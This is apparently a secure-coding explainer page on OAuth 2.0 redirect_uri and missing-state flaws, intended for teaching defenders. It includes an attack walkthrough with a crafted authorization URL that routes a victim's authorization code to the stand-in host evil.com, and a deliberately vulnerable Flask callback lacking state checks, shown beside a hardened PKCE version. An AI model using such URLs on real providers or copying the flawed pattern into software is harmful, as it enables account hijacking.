CWE-601 / CWE-644

OAuth 2.0 & OpenID Connect Redirect Flaws: Authorization Code Theft & State CSRF

How loose redirect_uri regex validation, path traversal, and missing state parameters allow attackers to steal authorization codes and hijack user accounts.

💡 Plain English Explainer (ELI5)

When you click 'Log in with Google', your browser is sent to Google, and after you approve, Google sends your browser back to the website with a secret one-time authorization code. If the website tells Google 'send the code to any URL containing example.com', an attacker can trick Google into sending your secret code to evil.com. The attacker then logs in as YOU.

Core Concepts & Key Terms

Authorization Code
A short-lived secret token issued by the authorization server via HTTP redirect that the client exchanges for access tokens.
`redirect_uri` Validation
The strict matching process verifying that the return URL matches an exact pre-registered domain and path.
State Parameter
An unguessable random string stored in the user's session and verified on callback to prevent Cross-Site Request Forgery.
PKCE (Proof Key for Code Exchange)
A cryptographic extension (code verifier / challenge) preventing code interception in mobile and single-page apps.

Step-by-Step Attack Flow

Step 1

1. Identifying Loose Redirect Validation

The OAuth provider allows wildcard redirects like https://app.com/* or loose subdomain matching.

Step 2

2. Crafting Poisoned Auth URL

The attacker creates an authorization link: provider.com/auth?client_id=123&redirect_uri=https://app.com/logout?redirect=https://evil.com.

Step 3

3. Victim Approves Login

The victim clicks the link and authenticates. The authorization server redirects to the victim app's open redirect.

Step 4

4. Code Leakage to Attacker

The open redirect forwards the victim's browser to evil.com?code=SECRET_AUTH_CODE, allowing the attacker to claim the account.

Source Code: Flaw vs. Secure Implementation

VULNERABLE PATTERN
# VULNERABLE: Loose OAuth Callback Validation & Missing State Parameter
from flask import Flask, request, redirect, session
import requests

app = Flask(__name__)

@app.route("/auth/login")
def oauth_login():
    # CRITICAL: Missing random 'state' parameter! Vulnerable to Login CSRF!
    client_id = "acme_app_client"
    return redirect(
        f"https://oauth-provider.com/authorize?client_id={client_id}"
        "&response_type=code"
        "&redirect_uri=https://app.com/auth/callback"
    )

@app.route("/auth/callback")
def oauth_callback():
    code = request.args.get("code")
    # Swaps code for token without verifying that this user initiated the login!
    tokens = exchange_code_for_token(code)
    session["user_id"] = tokens["user_id"]
    return redirect("/dashboard")
HARDENED DEFENSE
# SECURE: Strict Exact URI Match, PKCE & Cryptographic State Parameter
import secrets
import hashlib
import base64
from flask import Flask, request, redirect, session, abort

app = Flask(__name__)

@app.route("/auth/login")
def oauth_login():
    # 1. Generate unpredictable anti-CSRF state token bound to user session
    state = secrets.token_urlsafe(32)
    session["oauth_state"] = state
    
    # 2. Generate PKCE code verifier and challenge
    verifier = secrets.token_urlsafe(64)
    session["code_verifier"] = verifier
    challenge = base64.urlsafe_b64encode(hashlib.sha256(verifier.encode()).digest()).decode().rstrip("=")

    return redirect(
        f"https://oauth-provider.com/authorize?client_id=acme_app"
        f"&response_type=code"
        f"&redirect_uri=https://app.com/auth/callback" # EXACT string match!
        f"&state={state}"
        f"&code_challenge={challenge}"
        f"&code_challenge_method=S256"
    )

@app.route("/auth/callback")
def oauth_callback():
    # 3. Verify state parameter match to prevent Login CSRF
    state = request.args.get("state")
    expected_state = session.pop("oauth_state", None)
    if not expected_state or state != expected_state:
        abort(403, "Invalid OAuth state parameter")
        
    code = request.args.get("code")
    verifier = session.pop("code_verifier")
    
    # Exchange code with PKCE verifier
    tokens = exchange_code_with_pkce(code, verifier)
    session["user_id"] = tokens["user_id"]
    return redirect("/dashboard")

Engineering Hardening Checklist

← Browse Full Security Directory Explore Vulnerability Playbooks →